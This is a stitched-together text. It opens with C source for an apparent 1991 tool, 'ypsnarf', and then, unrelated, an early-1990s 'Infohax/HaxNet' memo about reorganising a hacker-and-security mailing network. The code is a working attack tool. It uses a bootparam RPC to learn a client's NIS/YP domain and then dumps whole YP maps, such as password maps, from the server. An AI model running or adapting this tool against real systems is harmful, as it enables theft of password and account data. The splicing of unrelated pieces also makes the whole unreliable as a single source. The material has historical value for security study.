* January, 1991
|
||
*/
|
||
#include <sys/param.h>
|
||
#include <sys/socket.h>
|
||
#include <netinet/in.h>
|
||
#include <arpa/inet.h>
|
||
#include <rpc/rpc.h>
|
||
#include <rpcsvc/bootparam.h>
|
||
#include <rpcsvc/yp_prot.h>
|
||
#include <rpc/pmap_clnt.h>
|
||
#include <sys/time.h>
|
||
#include <signal.h>
|
||
#include <string.h>
|
||
#include <netdb.h>
|
||
#include <stdio.h>
|
||
|
||
#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */
|
||
#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */
|
||
#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */
|
||
|
||
char *pname; /* program name */
|
||
|
||
main(argc, argv)
|
||
char **argv;
|
||
int argc;
|
||
{
|
||
char *server, *client, *domain, *mapname;
|
||
|
||
pname = *argv;
|
||
|
||
/*
|
||
* Process arguments. This is less than robust, but then
|
||
* hey, you're supposed to know what you're doing.
|
||
*/
|
||
switch (argc) {
|
||
case 3:
|
||
server = *++argv;
|
||
client = *++argv;
|
||
|
||
get_yp_domain(server, client);
|
||
exit(0);
|
||
case 4:
|
||
server = *++argv;
|
||
domain = *++argv;
|
||
mapname = *++argv;
|
||
|
||
if (strcmp(mapname, "maplist") == 0)
|
||
get_yp_maplist(server, domain);
|
||
else
|
||
get_yp_map(server, domain, mapname);
|
||
exit(0);
|
||
default:
|
||
fprintf(stderr, "Usage: %s server client -", pname);
|
||
fprintf(stderr, "to obtain yp domain name\n");
|
||
fprintf(stderr, " %s server domain mapname -", pname);
|
||
fprintf(stderr, "to obtain contents of yp map\n");
|
||
exit(1);
|
||
}
|
||
}
|
||
|
||
/*
|
||
* get_yp_domain - figure out the yp domain used between server and client.
|
||
*/
|
||
get_yp_domain(server, client)
|
||
char *server, *client;
|
||
{
|
||
long hostip;
|
||
struct hostent *hp;
|
||
bp_whoami_arg w_arg;
|
||
bp_whoami_res w_res;
|
||
extern void timeout();
|
||
enum clnt_stat errcode;
|
||
|
||
/*
|
||
* Just a sanity check, here.
|
||
*/
|
||
if ((hp = gethostbyname(server)) == NULL) {
|
||
fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
|
||
exit(1);
|
||
}
|
||
|
||
/*
|
||
* Allow the client to be either an internet address or a
|
||
* host name. Copy in the internet address.
|
||
*/
|
||
if ((hostip = inet_addr(client)) == -1) {
|
||
if ((hp = gethostbyname(client)) == NULL) {
|
||
fprintf(stderr, "%s: %s: unknown host.\n", pname,
|
||
client);
|
||
exit(1);
|
||
}
|
||
|
||
bcopy(hp->h_addr_list[0],
|
||
(caddr_t) &w_arg.client_address.bp_address.ip_addr,
|
||
hp->h_length);
|
||
}
|
||
else {
|
||
bcopy((caddr_t) &hostip,
|
||
(caddr_t) &w_arg.client_address.bp_address.ip_addr,
|
||
sizeof(ip_addr_t));
|
||
}
|
||
|
||
w_arg.client_address.address_type = IP_ADDR_TYPE;
|
||
bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
|
||
|
||
/*
|
||
* Send a BOOTPARAMPROC_WHOAMI request to the server. This will
|
||
* give us the yp domain in the response, IFF client boots from
|
||
* the server.
|
||
*/
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT1);
|
||
|
||
errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
|
||
BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
|
||
xdr_bp_whoami_res, &w_res);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
|
||
/*
|
||
* Print the domain name.
|
||
*/
|
||
printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
|
||
|
||
/*
|
||
* The maximum domain name length is 255 characters, but the
|
||
* rpc.bootparamd program truncates anything over 32 chars.
|
||
*/
|
||
if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
|
||
printf(" (truncated?)");
|
||
|
||
/*
|
||
* Put out the client name, if they didn't know it.
|
||
*/
|
||
if (hostip != -1)
|
||
printf(" (client name = %s)", w_res.client_name);
|
||
|
||
putchar('\n');
|
||
}
|
||
|
||
/*
|
||
* get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
|
||
*/
|
||
get_yp_map(server, domain, mapname)
|
||
char *server, *domain, *mapname;
|
||
{
|
||
char *reqp;
|
||
bool_t yesno;
|
||
u_long calltype;
|
||
bool (*xdr_proc)();
|
||
extern void timeout();
|
||
enum clnt_stat errcode;
|
||
struct ypreq_key keyreq;
|
||
struct ypreq_nokey nokeyreq;
|
||
struct ypresp_key_val answer;
|
||
|
||
/*
|
||
* This code isn't needed; the next call will give the same
|
||
* error message if there's no yp server there.
|
||
*/
|
||
#ifdef not_necessary
|
||
/*
|
||
* "Ping" the yp server and see if it's there.
|
||
*/
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT1);
|
||
|
||
errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
|
||
xdr_void, 0);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
#endif
|
||
|
||
/*
|
||
* Figure out whether server serves the yp domain we want.
|
||
*/
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT1);
|
||
|
||
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
|
||
xdr_wrapstring, (caddr_t) &domain, xdr_bool,
|
||
(caddr_t) &yesno);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
|
||
/*
|
||
* Nope...
|
||
*/
|
||
if (yesno == FALSE) {
|
||
fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
|
||
server, domain);
|
||
exit(1);
|
||
}
|
||
|
||
/*
|
||
* Now we just read entry after entry... The first entry we
|
||
* get with a nokey request.
|
||
*/
|
||
keyreq.domain = nokeyreq.domain = domain;
|
||
keyreq.map = nokeyreq.map = mapname;
|
||
reqp = (caddr_t) &nokeyreq;
|
||
keyreq.keydat.dptr = NULL;
|
||
|
||
answer.status = TRUE;
|
||
calltype = YPPROC_FIRST;
|
||
xdr_proc = xdr_ypreq_nokey;
|
||
|
||
while (answer.status == TRUE) {
|
||
bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
|
||
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT2);
|
||
|
||
errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
|
||
reqp, xdr_ypresp_key_val, &answer);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
|
||
/*
|
||
* Got something; print it.
|
||
*/
|
||
if (answer.status == TRUE) {
|
||
printf("%.*s\n", answer.valdat.dsize,
|
||
answer.valdat.dptr);
|
||
}
|
||
|
||
/*
|
||
* Now we're requesting the next item, so have to
|
||
* send back the current key.
|
||
*/
|
||
calltype = YPPROC_NEXT;
|
||
reqp = (caddr_t) &keyreq;
|
||
xdr_proc = xdr_ypreq_key;
|
||
|
||
if (keyreq.keydat.dptr)
|
||
free(keyreq.keydat.dptr);
|
||
|
||
keyreq.keydat = answer.keydat;
|
||
|
||
if (answer.valdat.dptr)
|
||
free(answer.valdat.dptr);
|
||
}
|
||
}
|
||
|
||
/*
|
||
* get_yp_maplist - get the yp map list for yp domain "domain" from server.
|
||
*/
|
||
get_yp_maplist(server, domain)
|
||
char *server, *domain;
|
||
{
|
||
bool_t yesno;
|
||
extern void timeout();
|
||
struct ypmaplist *mpl;
|
||
enum clnt_stat errcode;
|
||
struct ypresp_maplist maplist;
|
||
|
||
/*
|
||
* This code isn't needed; the next call will give the same
|
||
* error message if there's no yp server there.
|
||
*/
|
||
#ifdef not_necessary
|
||
/*
|
||
* "Ping" the yp server and see if it's there.
|
||
*/
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT1);
|
||
|
||
errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
|
||
xdr_void, 0);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
#endif
|
||
|
||
/*
|
||
* Figure out whether server serves the yp domain we want.
|
||
*/
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT1);
|
||
|
||
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
|
||
xdr_wrapstring, (caddr_t) &domain, xdr_bool,
|
||
(caddr_t) &yesno);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
|
||
/*
|
||
* Nope...
|
||
*/
|
||
if (yesno == FALSE) {
|
||
fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
|
||
server, domain);
|
||
exit(1);
|
||
}
|
||
|
||
maplist.list = (struct ypmaplist *) NULL;
|
||
|
||
/*
|
||
* Now ask for the list.
|
||
*/
|
||
signal(SIGALRM, timeout);
|
||
alarm(YPSNARF_TIMEOUT1);
|
||
|
||
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
|
||
xdr_wrapstring, (caddr_t) &domain,
|
||
xdr_ypresp_maplist, &maplist);
|
||
|
||
alarm(0);
|
||
|
||
if (errcode != RPC_SUCCESS)
|
||
print_rpc_err(errcode);
|
||
|
||
if (maplist.status != YP_TRUE) {
|
||
fprintf(stderr, "%s: cannot get map list: %s\n", pname,
|
||
yperr_string(ypprot_err(maplist.status)));
|
||
exit(1);
|
||
}
|
||
|
||
/*
|
||
* Print out the list.
|
||
*/
|
||
for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
|
||
printf("%s\n", mpl->ypml_name);
|
||
}
|
||
|
||
/*
|
||
* print_rpc_err - print an rpc error and exit.
|
||
*/
|
||
print_rpc_err(errcode)
|
||
enum clnt_stat errcode;
|
||
{
|
||
fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
|
||
exit(1);
|
||
}
|
||
|
||
/*
|
||
* timeout - print a timeout and exit.
|
||
*/
|
||
void timeout()
|
||
{
|
||
fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
|
||
exit(1);
|
||
}
|
||
|
||
*****************************************************************************
|
||
* DRAFT 4.0 *
|
||
* Reorganisation Document #1 *
|
||
* *
|
||
* *SENSITIVE* *
|
||
* *DO NOT DISTRIBUTE* *
|
||
* *
|
||
*****************************************************************************
|
||
* Late breaking news: *
|
||
* We have 40 *
|
||
* members in 7 countries (USA, Israel, Holland, France, Australia, *
|
||
* Canada, and Switzerland). This represents a substantial boost to our *
|
||
* tallent pool. All are very good and come with high recomemdations. *
|
||
* PGP 2.2 has been released *
|
||
* The author of the anon mail forwarder that was forced off the net by *
|
||
* by NSF has promiced us a copy as soon as he cleans it up a little. *
|
||
* this will support PGP also. - OK we got a copy, need sites to set it up *
|
||
* on, any volunteers out there? *
|
||
*****************************************************************************
|
||
|
||
SUMMARY:
|
||
--------
|
||
You were added to the INFOHAX-D list, this is a discussion list for
|
||
HaxNet that is open to both the hacking and security participants of
|
||
the project. This is a MODERATED list!
|
||
One of our first projects to tackle as a group (via this list) is
|
||
reorganising the project, and it's policies. We want and value YOUR
|
||
input. You will be receiving peices of a mega-document over time that
|
||
breaks down what we are doing, what we'd like to do and includes
|
||
summaries of your input for discussion with the group as a whole.
|
||
We've changed. We're becomming a Global network. The Infohax digest
|
||
will continue, but it will be open to security people also. We are
|
||
spawning sister digests for special interest groups. We are also forming
|
||
a hacker only digest/project, and a security only digest/project. You
|
||
can *NOT* subscribe to both. access to these digests are restricted
|
||
and handled on a person by person basis.
|
||
Here's what it looks like:
|
||
HaxNet: The "umbrella" organisation that coordinates and supports
|
||
various digests, provides resources, and oversees the management of
|
||
various projects. This is run by a coordinating group.
|
||
Infohax: the flagship digest - open to sec and hack people for shared
|
||
contributions.
|
||
Infohax-d: the haxNet discussion group. Open to sec and hack people
|
||
for shared discussions. (moderated)
|
||
infohack: hacker only digest - sensitive info only.
|
||
infosec: security only digest - sensitive info only, like the CORE list.
|
||
info-lans: SIG digest devoted to LANS - our first "sister" digest.
|
||
|
||
In adition we are setting up various groups with coordinators to
|
||
handle specific aspects of the project. Some of these are:
|
||
Coordinating grp.: oversees the project
|
||
Support Grp.: responsable for resources (listserv, FTP, Gopher, etc)
|
||
Research: access to info and DB's
|
||
Analysis: massaging data
|
||
Security: initial background checks, security leaks, encryption, etc.
|
||
Publications: editing, tech writing, producing digests.
|
||
Probably others, but enough for now.
|
||
Based on your skills, resources, and interests you will be contacted by the
|
||
appropriate coordinators and added to various grps. Some grps are closed based
|
||
on your "trust" level, and hack/sec orientation. Much of your placement
|
||
depends on how you filled out the questionaire, if you havn't filled this out
|
||
please do so ASAP! Everyone who hasn't filled this out is classified as
|
||
"untrusted" and restricted to the discussion list (perhaps the infohax digest
|
||
too, but we havn't decided that yet). If you havn't sent in a PGP key we will
|
||
NOT send you any project keys this means you will be unable to decrypt infohax
|
||
when/if it is sent to you.
|
||
|
||
INTRO:
|
||
------
|
||
This doc is being distributed to all members.
|
||
The purpose of this doc is to determine the future direction(s) of
|
||
Project Info-Hax (aka: HaxNet), it's purpose, policies and procedures, and
|
||
how the project will function in the future.
|
||
This project is too big for one person to run, so I try to coordinate it,
|
||
and give pieces to a variety of people that I trust, and have demonstrated
|
||
through their contributions and effort a commitment to the project.
|
||
If you don't like a direction the project is going this is the place to
|
||
voice your opinions and make changes. Likewise if you want the project
|
||
to take on a new direction, this is the place to get it started.
|
||
We also have had alot of resources offered. Things like FTP, Gopher, scan/
|
||
OCR, etc., enough to set up a very nice infrastructure in which to share
|
||
information, and do research. We havn't gotten these off the ground yet
|
||
(well, most of them), and need help doing so.
|
||
I'd like all of you to provide some feedback on what's discussed
|
||
below. At this moment nothing is written in stone, and I am more than
|
||
open to changes. There are few things I'm not open to changing, among
|
||
them (things I'm not willing to change) are the ideas of this project
|
||
being a means of sharring information and a research network. I am
|
||
also *NOT* willing to have the project engage in illegal activities.
|
||
I'm looking for some *ACTIVE* responces to this document! I'd like:
|
||
A) VOLUNTEERS - to take on pieces of the project.
|
||
B) FEEDBACK - this is your project too!, so tell me what you want it
|
||
to be like and we'll implement it. What I'm putting in this thing
|
||
is the vision I have of the project, some possabilities, and
|
||
suggestions I've received from others to date. Tell me what YOU want
|
||
it to be, and if others agree, we'll do it!
|
||
|
||
This has been dragging for too long, so I'm going to send it out
|
||
in pieces. Some parts are finished, others not, and instead of
|
||
overloading everyone with a mega-document, we'll do it in pieces over
|
||
time.
|
||
|
||
|
||
2) Purpose and Projects:
|
||
-------------------------
|
||
Why do we exist? what's our purpose?
|
||
That's an open ended question, btw...
|
||
Ok, this is my vision of it: (I'm looking for *FEEDBACK!* hint, hint...)
|
||
buncha stuff added by others in preliminary discussions too...
|
||
Purpose:
|
||
share knowledge - preserve collective knowledge.
|
||
establish and run a research network.
|
||
network people with simmilar interests.
|
||
provide a framework were people can persue special interests, within
|
||
a support network. ie: the network is provided, people with simmilar
|
||
interests are connected (perhaps safely/anonymously), and given tools
|
||
and information that will allow them to persue their interests, and
|
||
"publish" the results.
|
||
|
||
Original Purpose:
|
||
our original concept was to publish an exhaustive tutorial/encyclapedia
|
||
on UNIX hacking/security holes, this evolved abit into becomming a
|
||
publishing mill for hacker mags, however I now think that genneral
|
||
distribution of our "product" isn't such a good idea - lotta
|
||
irresponsable newbies out there... Presently I think we should remain
|
||
a private group, with information restricted to the group (ok, some
|
||
exceptions, but we'll deal with them as they come up)
|
||
We also considered starting a school, this doesn't seem like such a
|
||
hot idea due to the current legal atmosphere, but seminars, etc
|
||
arn't out of the question.
|
||
At pressent we are becomming a network, networking more people and
|
||
resources - spawning sub-journals...
|
||
|
||
Projects:
|
||
Of cource we are going to continue Info-Hax, our "flagship" publication.
|
||
We want to spawn sub journals and discussion lists, on hack/sec/crypto
|
||
topics.
|
||
We want to develope a support network to connect people (hack/sec),
|
||
maintain information depositories, develope a "seamless" interface
|
||
to all known h/s/c network resources (FTP, Gopher, etc), develope
|
||
additional network resources for project use (DB's, news captures,
|
||
archives of mailing lists, programs, etc.), index all h/s/c journals,
|
||
develope global contacts in the hack/sec/crp communities, for
|
||
support of technical problems, working together and opening technical
|
||
communications (content), developing new methods and techniques,
|
||
finding/patching holes, developing an exhaustive test suite of
|
||
OS vulnerabilities, develope and maintain penetration/security tools,
|
||
find sources for and index patches for vulnerabilities, umm, other
|
||
things.
|
||
|
||
I'm interested in what you guys think of the above, and
|
||
what *YOU!* would like to see us doing...
|
||
|
||
Some other things:
|
||
I'd like to get a translation grp together to translate information from
|
||
other languages (the cream). Also find/access mtrans progs/dicts.
|
||
Develope groups of "tiger teams", willing to do penetration testing, and
|
||
securing of holes as a public service. (and to give the hackers a
|
||
legal means to persue their craft)
|
||
Scan/OCR in interesting hardcopy papers. (the cream)
|
||
Develope a safe and secure means for people to communicate (anon,
|
||
encryption, anti-T/A)
|
||
Develope a job clearing house for compusec work.
|
||
What else can you people think of?
|
||
|
||
Ok, it isn't going to happen overnight, but it can grow and evolve,
|
||
we have ALOT of resources offered, and people willing to do things -
|
||
you'd be surprised how far we could go if we distribute the load.
|
||
|
||
Some principles:
|
||
stay legal and out of trouble.
|
||
open communication of a technical nature between hackers and the
|
||
security community. hackers and security people working together.
|
||
network GLOBALLY.
|
||
old school ethics, anti-destructive hackers...
|
||
pull together information, become known and respected over time (slowly!),
|
||
become a "power".
|
||
try to develope a friendly liason with sec community/gvmt agencies.
|
||
keep a sence of humor - don't take ourseves too seriously...
|
||
=============================================================================
|
||
|
||
OK, this is where you get to jump in, send me some feedback on what you
|
||
think our direction and purpose should be.
|
||
What projects would you like to see us working on, or would you like to
|
||
do as part of the network?
|
||
What do you think of what's been proposed? Anything we should persue
|
||
vigerously? Anything we shouldn't do?
|
||
|
||
Send your feedback to us and we'll summerise:
|
||
(try to respond within 7 days, please)
|
||
|
||
Feedback on this doc, and HaxNet in general: tangent@stormking.com
|
||
(please put reorg-doc.01 on the Subject: line)
|
||
------------
|
||
Feedback on resources, sites, support ops: mark@stormking.com
|
||
(please put support-ops on the Subject: line)
|
||
-----------
|
||
Applications and PGP public keys: yo@stormking.com
|
||
(please put PGP or apl on the Subject: line)
|
||
--- ---
|
||
|